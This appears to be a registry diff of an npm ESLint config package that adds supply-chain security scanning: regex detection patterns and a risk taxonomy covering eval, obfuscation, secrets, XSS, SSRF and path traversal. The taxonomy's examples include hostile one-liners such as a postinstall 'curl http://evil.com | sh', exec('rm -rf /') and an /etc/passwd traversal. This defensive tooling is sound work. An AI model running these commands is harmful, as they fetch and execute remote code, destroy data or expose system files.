@archpublicwebsite/eslint-config 1.0.16 → 1.0.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/eslint.config.mjs +92 -7
- package/package.json +1 -1
- package/tools/git-hooks/pre-push.mjs +235 -0
- package/tools/git-hooks/verify-commit-message.mjs +37 -18
- package/tools/security/patterns.mjs +186 -40
- package/tools/security/risks.mjs +259 -0
- package/tools/security/scan.mjs +44 -245
- package/tools/security/scanner.mjs +233 -0
- package/tools/security/test-patterns.mjs +3 -19
- package/tools/setup/install.mjs +13 -1
|
@@ -5,6 +5,9 @@
|
|
|
5
5
|
* vector observed in npm supply-chain incidents (event-stream, ua-parser-js,
|
|
6
6
|
* node-ipc, polyfill.io, XZ Utils, etc.).
|
|
7
7
|
*
|
|
8
|
+
* Risk categories (id → OWASP / MITRE ATLAS mapping) are defined in risks.mjs.
|
|
9
|
+
* Each pattern's `category` field references one of those ids.
|
|
10
|
+
*
|
|
8
11
|
* Patterns are kept as non-global RegExp so they can safely be re-tested
|
|
9
12
|
* across lines without needing to reset `lastIndex`.
|
|
10
13
|
*/
|
|
@@ -29,18 +32,21 @@ export const FILE_PATTERNS = [
|
|
|
29
32
|
severity: 'critical',
|
|
30
33
|
message: 'eval() executes arbitrary strings — primary vector for malware delivery',
|
|
31
34
|
regex: /\beval\s*\(/,
|
|
35
|
+
category: 'code-execution',
|
|
32
36
|
},
|
|
33
37
|
{
|
|
34
38
|
id: 'no-new-func',
|
|
35
39
|
severity: 'critical',
|
|
36
40
|
message: 'new Function() executes arbitrary strings — equivalent to eval()',
|
|
37
41
|
regex: /\bnew\s+Function\s*\(/,
|
|
42
|
+
category: 'code-execution',
|
|
38
43
|
},
|
|
39
44
|
{
|
|
40
45
|
id: 'no-implied-eval',
|
|
41
46
|
severity: 'high',
|
|
42
47
|
message: 'setTimeout/setInterval with a string argument executes code dynamically',
|
|
43
48
|
regex: /\b(?:setTimeout|setInterval)\s*\(\s*['"]/,
|
|
49
|
+
category: 'code-execution',
|
|
44
50
|
},
|
|
45
51
|
|
|
46
52
|
// ── Payload delivery & obfuscation ────────────────────────────────────────
|
|
@@ -49,36 +55,28 @@ export const FILE_PATTERNS = [
|
|
|
49
55
|
severity: 'high',
|
|
50
56
|
message: 'Buffer.from(…, "base64") — frequently used to hide malicious payloads',
|
|
51
57
|
regex: /Buffer\.from\s*\([^)]*,\s*['"]base64['"]\)/,
|
|
58
|
+
category: 'obfuscation',
|
|
52
59
|
},
|
|
53
60
|
{
|
|
54
61
|
id: 'atob-usage',
|
|
55
62
|
severity: 'medium',
|
|
56
63
|
message: 'atob() decodes base64 — verify it is not decoding a hidden payload',
|
|
57
64
|
regex: /\batob\s*\(/,
|
|
65
|
+
category: 'obfuscation',
|
|
58
66
|
},
|
|
59
67
|
{
|
|
60
68
|
id: 'charcode-obfuscation',
|
|
61
69
|
severity: 'high',
|
|
62
70
|
message: 'String.fromCharCode sequence — common technique to obfuscate malicious strings',
|
|
63
71
|
regex: /String\.fromCharCode\s*\(\s*(?:\d+\s*,\s*){4,}\d+\s*\)/,
|
|
64
|
-
|
|
65
|
-
{
|
|
66
|
-
id: 'unicode-bidi-control',
|
|
67
|
-
severity: 'critical',
|
|
68
|
-
message: 'Unicode bidi control characters detected — hidden code/trick rendering attack (Trojan Source)',
|
|
69
|
-
regex: /[\u202A-\u202E\u2066-\u2069]/,
|
|
70
|
-
},
|
|
71
|
-
{
|
|
72
|
-
id: 'zero-width-hidden-char',
|
|
73
|
-
severity: 'high',
|
|
74
|
-
message: 'Zero-width/invisible Unicode characters detected — possible hidden payload marker',
|
|
75
|
-
regex: /[\u200B-\u200D\uFEFF]/,
|
|
72
|
+
category: 'obfuscation',
|
|
76
73
|
},
|
|
77
74
|
{
|
|
78
75
|
id: 'hex-string-obfuscation',
|
|
79
76
|
severity: 'high',
|
|
80
77
|
message: 'Dense hex-encoded string — possible obfuscated payload',
|
|
81
78
|
regex: /['"](?:\\x[0-9a-fA-F]{2}){20,}['"]/,
|
|
79
|
+
category: 'obfuscation',
|
|
82
80
|
},
|
|
83
81
|
|
|
84
82
|
// ── Dangerous imports in build / config context ───────────────────────────
|
|
@@ -89,20 +87,15 @@ export const FILE_PATTERNS = [
|
|
|
89
87
|
message: 'child_process in build config — potential command-execution backdoor',
|
|
90
88
|
regex: /require\s*\(\s*['"](?:node:)?child_process['"]\s*\)|from\s+['"](?:node:)?child_process['"]/,
|
|
91
89
|
configOnly: true,
|
|
90
|
+
category: 'data-exfiltration',
|
|
92
91
|
},
|
|
93
92
|
{
|
|
94
|
-
id: 'http-in-config
|
|
93
|
+
id: 'http-in-config',
|
|
95
94
|
severity: 'critical',
|
|
96
95
|
message: 'HTTP/HTTPS module in build config — potential data-exfiltration vector',
|
|
97
|
-
regex: /require\s*\(\s*['"](?:node:)?https?['"]\s*\)/,
|
|
98
|
-
configOnly: true,
|
|
99
|
-
},
|
|
100
|
-
{
|
|
101
|
-
id: 'http-in-config-import',
|
|
102
|
-
severity: 'critical',
|
|
103
|
-
message: 'HTTP/HTTPS module in build config — potential data-exfiltration vector',
|
|
104
|
-
regex: /from\s+['"](?:node:)?https?['"]/,
|
|
96
|
+
regex: /require\s*\(\s*['"](?:node:)?https?['"]\s*\)|from\s+['"](?:node:)?https?['"]/,
|
|
105
97
|
configOnly: true,
|
|
98
|
+
category: 'data-exfiltration',
|
|
106
99
|
},
|
|
107
100
|
{
|
|
108
101
|
id: 'dns-in-config',
|
|
@@ -110,6 +103,7 @@ export const FILE_PATTERNS = [
|
|
|
110
103
|
message: 'DNS module in build config — potential exfiltration via DNS tunnelling',
|
|
111
104
|
regex: /require\s*\(\s*['"](?:node:)?dns['"]\s*\)|from\s+['"](?:node:)?dns['"]/,
|
|
112
105
|
configOnly: true,
|
|
106
|
+
category: 'data-exfiltration',
|
|
113
107
|
},
|
|
114
108
|
{
|
|
115
109
|
id: 'net-in-config',
|
|
@@ -117,6 +111,7 @@ export const FILE_PATTERNS = [
|
|
|
117
111
|
message: 'net/socket module in build config — potential reverse-shell vector',
|
|
118
112
|
regex: /require\s*\(\s*['"](?:node:)?net['"]\s*\)|from\s+['"](?:node:)?net['"]/,
|
|
119
113
|
configOnly: true,
|
|
114
|
+
category: 'data-exfiltration',
|
|
120
115
|
},
|
|
121
116
|
|
|
122
117
|
// ── Prototype pollution ────────────────────────────────────────────────────
|
|
@@ -125,6 +120,7 @@ export const FILE_PATTERNS = [
|
|
|
125
120
|
severity: 'high',
|
|
126
121
|
message: 'Prototype pollution pattern — can escalate to RCE in some server runtimes',
|
|
127
122
|
regex: /\.__proto__\s*=|Object\.prototype\s*\[|constructor\s*\.\s*prototype\s*\[/,
|
|
123
|
+
category: 'prototype-pollution',
|
|
128
124
|
},
|
|
129
125
|
|
|
130
126
|
// ── Suspicious dynamic import ──────────────────────────────────────────────
|
|
@@ -183,44 +179,172 @@ export const FILE_PATTERNS = [
|
|
|
183
179
|
id: 'function-constructor-via-array',
|
|
184
180
|
severity: 'critical',
|
|
185
181
|
message: 'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
|
|
186
|
-
//
|
|
187
|
-
|
|
182
|
+
// Matches: var x = sfL[EKc] where the array was built from a string decoder
|
|
183
|
+
// Generalised: identifier assigned from identifier[short-identifier] then called as a function
|
|
184
|
+
regex: /=\s*\w{2,5}\s*\[\s*\w{2,5}\s*\]\s*;[^;]{0,60}=\s*\w{2,5}\s*\(\s*\w+\s*,\s*\w{2,5}\s*\(\s*\w+\s*\)\s*\)/,
|
|
188
185
|
},
|
|
189
186
|
{
|
|
190
|
-
id: 'global-bracket-assignment
|
|
187
|
+
id: 'global-bracket-assignment',
|
|
191
188
|
severity: 'high',
|
|
192
189
|
message: 'global[variable] assignment — indirect global mutation used to smuggle require/module references',
|
|
193
|
-
|
|
190
|
+
// Matches: global[anyVar[index]] = ... OR global['key'] = ... OR global[variable] = ...
|
|
191
|
+
regex: /global\s*\[\s*(?:[\w$]+\s*\[\s*\d+\s*\]|['"][^'"]{1,40}['"]|[\w$]+)\s*\]\s*=/,
|
|
194
192
|
},
|
|
195
193
|
{
|
|
196
|
-
id: 'global-
|
|
194
|
+
id: 'module-global-hijack',
|
|
195
|
+
severity: 'critical',
|
|
196
|
+
message: 'global[...] = module — dropper technique to expose Node module reference as a global',
|
|
197
|
+
regex: /global\s*\[.*?\]\s*=\s*module\b/,
|
|
198
|
+
category: 'code-execution',
|
|
199
|
+
},
|
|
200
|
+
|
|
201
|
+
// ── XSS / DOM injection ────────────────────────────────────────────────────
|
|
202
|
+
// These patterns cover the most common DOM-based XSS sinks. Using them with
|
|
203
|
+
// unsanitised user input allows an attacker to execute scripts in the
|
|
204
|
+
// victim's browser. ESLint rules in eslint.config.mjs cover the same
|
|
205
|
+
// vectors statically; these patterns catch them in staged files.
|
|
206
|
+
{
|
|
207
|
+
id: 'dom-innerhtml',
|
|
197
208
|
severity: 'high',
|
|
198
|
-
message: '
|
|
199
|
-
regex:
|
|
209
|
+
message: 'innerHTML / outerHTML assignment — direct DOM XSS sink; use textContent or a sanitiser',
|
|
210
|
+
regex: /\.\s*(?:inner|outer)HTML\s*=/,
|
|
211
|
+
category: 'xss',
|
|
200
212
|
},
|
|
201
213
|
{
|
|
202
|
-
id: '
|
|
214
|
+
id: 'dom-insertadjacenthtml',
|
|
203
215
|
severity: 'high',
|
|
204
|
-
message: '
|
|
205
|
-
regex:
|
|
216
|
+
message: 'insertAdjacentHTML() — DOM XSS sink; use insertAdjacentText() or sanitise input first',
|
|
217
|
+
regex: /\.insertAdjacentHTML\s*\(/,
|
|
218
|
+
category: 'xss',
|
|
206
219
|
},
|
|
207
220
|
{
|
|
208
|
-
id: '
|
|
221
|
+
id: 'dom-document-write',
|
|
222
|
+
severity: 'high',
|
|
223
|
+
message: 'document.write() / document.writeln() — deprecated and a direct XSS sink',
|
|
224
|
+
regex: /document\s*\.\s*write(?:ln)?\s*\(/,
|
|
225
|
+
category: 'xss',
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
id: 'dom-srcdoc',
|
|
229
|
+
severity: 'medium',
|
|
230
|
+
message: 'srcdoc attribute set via JS — can execute scripts inside an iframe without CSP',
|
|
231
|
+
regex: /\.srcdoc\s*=/,
|
|
232
|
+
category: 'xss',
|
|
233
|
+
},
|
|
234
|
+
{
|
|
235
|
+
id: 'vue-v-html',
|
|
236
|
+
severity: 'high',
|
|
237
|
+
message: 'v-html directive — renders raw HTML; XSS risk if bound to user-controlled data',
|
|
238
|
+
// Matches both :v-html and v-html= in .vue template strings captured in JS
|
|
239
|
+
regex: /v-html\s*=/,
|
|
240
|
+
category: 'xss',
|
|
241
|
+
},
|
|
242
|
+
|
|
243
|
+
// ── Hardcoded secrets / credentials ───────────────────────────────────────
|
|
244
|
+
// Secrets committed to source control are frequently scraped by automated
|
|
245
|
+
// bots (GitHub secret scanning, truffleHog, etc.) within minutes.
|
|
246
|
+
{
|
|
247
|
+
id: 'hardcoded-openai-key',
|
|
209
248
|
severity: 'critical',
|
|
210
|
-
message: '
|
|
211
|
-
regex: /
|
|
249
|
+
message: 'Hardcoded OpenAI API key detected — rotate immediately and use environment variables',
|
|
250
|
+
regex: /['"]sk-[A-Za-z0-9]{20,}['"]/,
|
|
251
|
+
category: 'hardcoded-secret',
|
|
252
|
+
},
|
|
253
|
+
{
|
|
254
|
+
id: 'hardcoded-anthropic-key',
|
|
255
|
+
severity: 'critical',
|
|
256
|
+
message: 'Hardcoded Anthropic API key detected — rotate immediately and use environment variables',
|
|
257
|
+
regex: /['"]sk-ant-[A-Za-z0-9\-_]{20,}['"]/,
|
|
258
|
+
category: 'hardcoded-secret',
|
|
212
259
|
},
|
|
213
260
|
{
|
|
214
|
-
id: '
|
|
261
|
+
id: 'hardcoded-aws-key',
|
|
215
262
|
severity: 'critical',
|
|
216
|
-
message: '
|
|
217
|
-
regex: /
|
|
263
|
+
message: 'Hardcoded AWS Access Key ID — rotate immediately; AWS bots can detect and exploit within minutes',
|
|
264
|
+
regex: /['"]AKIA[0-9A-Z]{16}['"]/,
|
|
265
|
+
category: 'hardcoded-secret',
|
|
218
266
|
},
|
|
219
267
|
{
|
|
220
|
-
id: '
|
|
268
|
+
id: 'hardcoded-github-token',
|
|
221
269
|
severity: 'critical',
|
|
222
|
-
message: '
|
|
223
|
-
regex: /
|
|
270
|
+
message: 'Hardcoded GitHub token — rotate immediately and store in a secret manager',
|
|
271
|
+
regex: /['"]gh[pousr]_[A-Za-z0-9]{36,}['"]/,
|
|
272
|
+
category: 'hardcoded-secret',
|
|
273
|
+
},
|
|
274
|
+
{
|
|
275
|
+
id: 'hardcoded-jwt-secret',
|
|
276
|
+
severity: 'high',
|
|
277
|
+
message: 'Possible hardcoded JWT secret — use a cryptographically random secret from env vars',
|
|
278
|
+
// Matches: secret: "...", jwtSecret: "...", JWT_SECRET = "..." with a non-trivial value
|
|
279
|
+
regex: /(?:jwt[_-]?secret|token[_-]?secret)\s*[=:]\s*['"][^'"]{8,}['"]/i,
|
|
280
|
+
category: 'hardcoded-secret',
|
|
281
|
+
},
|
|
282
|
+
{
|
|
283
|
+
id: 'hardcoded-private-key',
|
|
284
|
+
severity: 'critical',
|
|
285
|
+
message: 'Private key material in source — never commit private keys; use a secrets manager',
|
|
286
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
|
|
287
|
+
category: 'hardcoded-secret',
|
|
288
|
+
},
|
|
289
|
+
{
|
|
290
|
+
id: 'hardcoded-password-literal',
|
|
291
|
+
severity: 'high',
|
|
292
|
+
message: 'Possible hardcoded password — use environment variables or a secrets manager',
|
|
293
|
+
// Matches: password: "abc123", PASSWORD = 'secret' (not empty, not placeholder-like)
|
|
294
|
+
regex: /\bpassword\s*[=:]\s*['"][^'"]{4,}['"]/i,
|
|
295
|
+
category: 'hardcoded-secret',
|
|
296
|
+
},
|
|
297
|
+
|
|
298
|
+
// ── Path traversal ────────────────────────────────────────────────────────
|
|
299
|
+
{
|
|
300
|
+
id: 'path-traversal-fs',
|
|
301
|
+
severity: 'high',
|
|
302
|
+
message: 'fs operation with a variable path — validate and sanitise paths to prevent directory traversal',
|
|
303
|
+
// Flags fs.readFile/writeFile/createReadStream/unlink etc. called with a variable (not a plain string)
|
|
304
|
+
regex: /(?:readFile|writeFile|createReadStream|createWriteStream|unlink|rmdir|mkdir)\s*\(\s*(?!['"` ])[^'"`)]/,
|
|
305
|
+
category: 'path-traversal',
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
id: 'path-traversal-dotdot',
|
|
309
|
+
severity: 'critical',
|
|
310
|
+
message: 'Literal path traversal sequence (../) in source — remove or validate user-supplied path segments',
|
|
311
|
+
regex: /['"]\.\.[/\\]/,
|
|
312
|
+
category: 'path-traversal',
|
|
313
|
+
},
|
|
314
|
+
|
|
315
|
+
// ── SSRF ──────────────────────────────────────────────────────────────────
|
|
316
|
+
{
|
|
317
|
+
id: 'ssrf-fetch-variable',
|
|
318
|
+
severity: 'high',
|
|
319
|
+
message: 'fetch() / axios.get() called with a variable URL — validate URL origin to prevent SSRF',
|
|
320
|
+
// Matches fetch(variable) — not fetch("https://...") which is a literal
|
|
321
|
+
regex: /\b(?:fetch|axios\.(?:get|post|put|patch|delete|request))\s*\(\s*(?!['"` ])[^'"`)]/,
|
|
322
|
+
category: 'ssrf',
|
|
323
|
+
},
|
|
324
|
+
{
|
|
325
|
+
id: 'ssrf-cloud-metadata',
|
|
326
|
+
severity: 'critical',
|
|
327
|
+
message: 'Cloud metadata endpoint (169.254.169.254 / fd00:ec2::254) referenced in source',
|
|
328
|
+
regex: /169\.254\.169\.254|fd00:ec2::254/,
|
|
329
|
+
category: 'ssrf',
|
|
330
|
+
},
|
|
331
|
+
|
|
332
|
+
// ── ReDoS ─────────────────────────────────────────────────────────────────
|
|
333
|
+
{
|
|
334
|
+
id: 'redos-nested-quantifier',
|
|
335
|
+
severity: 'medium',
|
|
336
|
+
message: 'RegExp with nested quantifier on overlapping character class — ReDoS risk; simplify the pattern',
|
|
337
|
+
// Catches: (a+)+, (a*)*, ([a-z]+)+, ([a-zA-Z]+)* — classic catastrophic backtracking shapes
|
|
338
|
+
regex: /\((?:\[[^\]]+\]|\\w|\\d|[a-zA-Z])[+*]\)[+*?]/,
|
|
339
|
+
category: 'redos',
|
|
340
|
+
},
|
|
341
|
+
{
|
|
342
|
+
id: 'redos-alternation-overlap',
|
|
343
|
+
severity: 'medium',
|
|
344
|
+
message: 'RegExp alternation with overlapping branches inside a quantifier — ReDoS risk',
|
|
345
|
+
// Catches: (a|aa)+, (ab|a)+ patterns where branches share prefixes
|
|
346
|
+
regex: /\([^)]{1,40}\|[^)]{1,40}\)[+*?]/,
|
|
347
|
+
category: 'redos',
|
|
224
348
|
},
|
|
225
349
|
]
|
|
226
350
|
|
|
@@ -238,48 +362,70 @@ export const INSTALL_SCRIPT_PATTERNS = [
|
|
|
238
362
|
severity: 'critical',
|
|
239
363
|
message: 'Install script downloads files from the internet via curl/wget',
|
|
240
364
|
regex: /\bcurl\b|\bwget\b/,
|
|
365
|
+
category: 'supply-chain',
|
|
241
366
|
},
|
|
242
367
|
{
|
|
243
368
|
id: 'install-net-request',
|
|
244
369
|
severity: 'critical',
|
|
245
370
|
message: 'Install script makes HTTP requests at install time',
|
|
246
371
|
regex: /require\s*\(\s*['"]https?['"]\s*\)|\.get\s*\(\s*['"]https?:\/\//,
|
|
372
|
+
category: 'supply-chain',
|
|
247
373
|
},
|
|
248
374
|
{
|
|
249
375
|
id: 'install-base64-exec',
|
|
250
376
|
severity: 'critical',
|
|
251
377
|
message: 'Install script decodes base64 content — hidden payload delivery pattern',
|
|
252
378
|
regex: /Buffer\.from[^)]*base64|atob\s*\(/,
|
|
379
|
+
category: 'supply-chain',
|
|
253
380
|
},
|
|
254
381
|
{
|
|
255
382
|
id: 'install-eval',
|
|
256
383
|
severity: 'critical',
|
|
257
384
|
message: 'Install script calls eval() — arbitrary code execution at install time',
|
|
258
385
|
regex: /\beval\s*\(/,
|
|
386
|
+
category: 'supply-chain',
|
|
259
387
|
},
|
|
260
388
|
{
|
|
261
389
|
id: 'install-env-credential',
|
|
262
390
|
severity: 'high',
|
|
263
391
|
message: 'Install script reads credential/secret environment variables',
|
|
264
392
|
regex: /process\.env\.(?:AWS_|GITHUB_TOKEN|NPM_TOKEN|SECRET|PASSWORD|API_KEY|PRIVATE_KEY|TOKEN)/i,
|
|
393
|
+
category: 'supply-chain',
|
|
265
394
|
},
|
|
266
395
|
{
|
|
267
396
|
id: 'install-system-path',
|
|
268
397
|
severity: 'critical',
|
|
269
398
|
message: 'Install script writes to system paths — possible persistence mechanism',
|
|
270
399
|
regex: /\/etc\/|\/usr\/(?:bin|local)|C:\\Windows\\|\.ssh\//,
|
|
400
|
+
category: 'supply-chain',
|
|
271
401
|
},
|
|
272
402
|
{
|
|
273
403
|
id: 'install-exec-shell',
|
|
274
404
|
severity: 'high',
|
|
275
405
|
message: 'Install script spawns child processes via child_process',
|
|
276
406
|
regex: /\bexecSync\s*\(|\bspawnSync\s*\(|\bexec\s*\(\s*['"]/,
|
|
407
|
+
category: 'supply-chain',
|
|
277
408
|
},
|
|
278
409
|
{
|
|
279
410
|
id: 'install-hex-obfuscation',
|
|
280
411
|
severity: 'high',
|
|
281
412
|
message: 'Install script contains dense hex-encoded strings — possible obfuscated payload',
|
|
282
413
|
regex: /(?:\\x[0-9a-fA-F]{2}){20,}/,
|
|
414
|
+
category: 'supply-chain',
|
|
415
|
+
},
|
|
416
|
+
{
|
|
417
|
+
id: 'install-new-function',
|
|
418
|
+
severity: 'critical',
|
|
419
|
+
message: 'Install script uses new Function() — arbitrary code execution at install time',
|
|
420
|
+
regex: /\bnew\s+Function\s*\(/,
|
|
421
|
+
category: 'supply-chain',
|
|
422
|
+
},
|
|
423
|
+
{
|
|
424
|
+
id: 'install-cloud-metadata',
|
|
425
|
+
severity: 'critical',
|
|
426
|
+
message: 'Install script probes cloud metadata endpoint (169.254.169.254) — SSRF / credential theft',
|
|
427
|
+
regex: /169\.254\.169\.254/,
|
|
428
|
+
category: 'supply-chain',
|
|
283
429
|
},
|
|
284
430
|
]
|
|
285
431
|
|
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @archipelago/security — risk taxonomy
|
|
3
|
+
*
|
|
4
|
+
* Defines the canonical risk classification used across all security tooling
|
|
5
|
+
* in this package: the pre-commit scanner, pre-push scanner, ESLint rules,
|
|
6
|
+
* and any downstream consumers.
|
|
7
|
+
*
|
|
8
|
+
* Risk levels are aligned with:
|
|
9
|
+
* - OWASP Risk Rating Methodology
|
|
10
|
+
* - CVSS v3.1 severity bands
|
|
11
|
+
* - MITRE ATLAS (AML.T*) for AI/ML supply-chain vectors
|
|
12
|
+
*
|
|
13
|
+
* Reference:
|
|
14
|
+
* https://owasp.org/www-community/OWASP_Risk_Rating_Methodology
|
|
15
|
+
* https://www.first.org/cvss/calculator/3.1
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
// ─── Severity levels ──────────────────────────────────────────────────────────
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Severity → numeric score mapping (mirrors CVSS v3.1 bands).
|
|
22
|
+
* Used for sorting findings and deciding whether to block a git operation.
|
|
23
|
+
*
|
|
24
|
+
* @type {Record<string, number>}
|
|
25
|
+
*/
|
|
26
|
+
export const SEVERITY_SCORE = {
|
|
27
|
+
critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
|
|
28
|
+
high: 3, // CVSS 7.0 – 8.9 → block commit AND push
|
|
29
|
+
medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
|
|
30
|
+
low: 1, // CVSS 0.1 – 3.9 → info only
|
|
31
|
+
info: 0, // Informational → no action required
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* Returns true if the severity level should block a git operation.
|
|
36
|
+
* @param {string} severity
|
|
37
|
+
* @returns {boolean}
|
|
38
|
+
*/
|
|
39
|
+
export function isBlocking(severity) {
|
|
40
|
+
return severity === 'critical' || severity === 'high'
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// ─── Risk categories ──────────────────────────────────────────────────────────
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Canonical risk categories with their OWASP and MITRE ATLAS mappings.
|
|
47
|
+
*
|
|
48
|
+
* Each category describes:
|
|
49
|
+
* - id Stable identifier used in findings and ESLint rule names
|
|
50
|
+
* - label Human-readable name
|
|
51
|
+
* - owasp OWASP Top 10 / ASVS reference (2021)
|
|
52
|
+
* - atlas MITRE ATLAS technique(s) — AI/ML supply-chain specific
|
|
53
|
+
* - description What the risk is and why it matters
|
|
54
|
+
* - examples Concrete code patterns that fall into this category
|
|
55
|
+
*
|
|
56
|
+
* @type {Array<RiskCategory>}
|
|
57
|
+
*/
|
|
58
|
+
export const RISK_CATEGORIES = [
|
|
59
|
+
// ── A1: Injection (RCE / code execution) ──────────────────────────────────
|
|
60
|
+
{
|
|
61
|
+
id: 'code-execution',
|
|
62
|
+
label: 'Arbitrary Code Execution',
|
|
63
|
+
owasp: 'A03:2021 – Injection',
|
|
64
|
+
atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
|
|
65
|
+
description:
|
|
66
|
+
'Code that allows an attacker to execute arbitrary instructions on the host machine. '
|
|
67
|
+
+ 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
|
|
68
|
+
severity: 'critical',
|
|
69
|
+
examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
|
|
70
|
+
},
|
|
71
|
+
|
|
72
|
+
// ── A2: Cryptographic / obfuscation ───────────────────────────────────────
|
|
73
|
+
{
|
|
74
|
+
id: 'obfuscation',
|
|
75
|
+
label: 'Obfuscation / Payload Hiding',
|
|
76
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
77
|
+
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
78
|
+
description:
|
|
79
|
+
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
|
|
80
|
+
+ 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
|
|
81
|
+
+ 'ua-parser-js, polyfill.io).',
|
|
82
|
+
severity: 'high',
|
|
83
|
+
examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
|
|
84
|
+
},
|
|
85
|
+
|
|
86
|
+
// ── A3: Prototype pollution ────────────────────────────────────────────────
|
|
87
|
+
{
|
|
88
|
+
id: 'prototype-pollution',
|
|
89
|
+
label: 'Prototype Pollution',
|
|
90
|
+
owasp: 'A03:2021 – Injection',
|
|
91
|
+
atlas: [],
|
|
92
|
+
description:
|
|
93
|
+
'Modification of Object.prototype or constructor.prototype allows an attacker to '
|
|
94
|
+
+ 'inject properties onto every object in the runtime, which can escalate to RCE '
|
|
95
|
+
+ 'in some server-side Node.js frameworks.',
|
|
96
|
+
severity: 'high',
|
|
97
|
+
examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
|
|
98
|
+
},
|
|
99
|
+
|
|
100
|
+
// ── A4: XSS / DOM injection ────────────────────────────────────────────────
|
|
101
|
+
{
|
|
102
|
+
id: 'xss',
|
|
103
|
+
label: 'Cross-Site Scripting (XSS)',
|
|
104
|
+
owasp: 'A03:2021 – Injection',
|
|
105
|
+
atlas: [],
|
|
106
|
+
description:
|
|
107
|
+
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
|
|
108
|
+
+ 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
|
|
109
|
+
+ "victim's browser context.",
|
|
110
|
+
severity: 'high',
|
|
111
|
+
examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
|
|
112
|
+
},
|
|
113
|
+
|
|
114
|
+
// ── A5: Hardcoded secrets ──────────────────────────────────────────────────
|
|
115
|
+
{
|
|
116
|
+
id: 'hardcoded-secret',
|
|
117
|
+
label: 'Hardcoded Secret / Credential',
|
|
118
|
+
owasp: 'A02:2021 – Cryptographic Failures',
|
|
119
|
+
atlas: [],
|
|
120
|
+
description:
|
|
121
|
+
'API keys, tokens, passwords, or private keys committed to source code. '
|
|
122
|
+
+ 'Exposed secrets are frequently scraped from public repositories by automated bots '
|
|
123
|
+
+ 'within minutes of exposure.',
|
|
124
|
+
severity: 'critical',
|
|
125
|
+
examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
|
|
126
|
+
},
|
|
127
|
+
|
|
128
|
+
// ── A6: Supply-chain / install scripts ────────────────────────────────────
|
|
129
|
+
{
|
|
130
|
+
id: 'supply-chain',
|
|
131
|
+
label: 'Supply-Chain Attack',
|
|
132
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
133
|
+
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
134
|
+
description:
|
|
135
|
+
'Malicious code injected via npm package install scripts (preinstall/postinstall), '
|
|
136
|
+
+ 'typosquatted package names, or compromised transitive dependencies. '
|
|
137
|
+
+ 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
|
|
138
|
+
severity: 'critical',
|
|
139
|
+
examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
|
|
140
|
+
},
|
|
141
|
+
|
|
142
|
+
// ── A7: Path traversal ────────────────────────────────────────────────────
|
|
143
|
+
{
|
|
144
|
+
id: 'path-traversal',
|
|
145
|
+
label: 'Path Traversal',
|
|
146
|
+
owasp: 'A01:2021 – Broken Access Control',
|
|
147
|
+
atlas: [],
|
|
148
|
+
description:
|
|
149
|
+
'User-controlled input used in file-system operations without sanitisation. '
|
|
150
|
+
+ 'Allows attackers to read, write, or delete files outside the intended directory '
|
|
151
|
+
+ "(e.g., reading /etc/passwd via '../../etc/passwd').",
|
|
152
|
+
severity: 'high',
|
|
153
|
+
examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
|
|
154
|
+
},
|
|
155
|
+
|
|
156
|
+
// ── A8: SSRF ──────────────────────────────────────────────────────────────
|
|
157
|
+
{
|
|
158
|
+
id: 'ssrf',
|
|
159
|
+
label: 'Server-Side Request Forgery (SSRF)',
|
|
160
|
+
owasp: 'A10:2021 – Server-Side Request Forgery',
|
|
161
|
+
atlas: [],
|
|
162
|
+
description:
|
|
163
|
+
'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
|
|
164
|
+
+ 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
|
|
165
|
+
+ 'resources not directly accessible from the internet.',
|
|
166
|
+
severity: 'high',
|
|
167
|
+
examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
|
|
168
|
+
},
|
|
169
|
+
|
|
170
|
+
// ── A9: ReDoS ─────────────────────────────────────────────────────────────
|
|
171
|
+
{
|
|
172
|
+
id: 'redos',
|
|
173
|
+
label: 'Regular Expression Denial of Service (ReDoS)',
|
|
174
|
+
owasp: 'A06:2021 – Vulnerable and Outdated Components',
|
|
175
|
+
atlas: [],
|
|
176
|
+
description:
|
|
177
|
+
'Pathological regular expressions with nested quantifiers on overlapping character '
|
|
178
|
+
+ 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
|
|
179
|
+
+ 'User-controlled input matched against such patterns is a DoS vector.',
|
|
180
|
+
severity: 'medium',
|
|
181
|
+
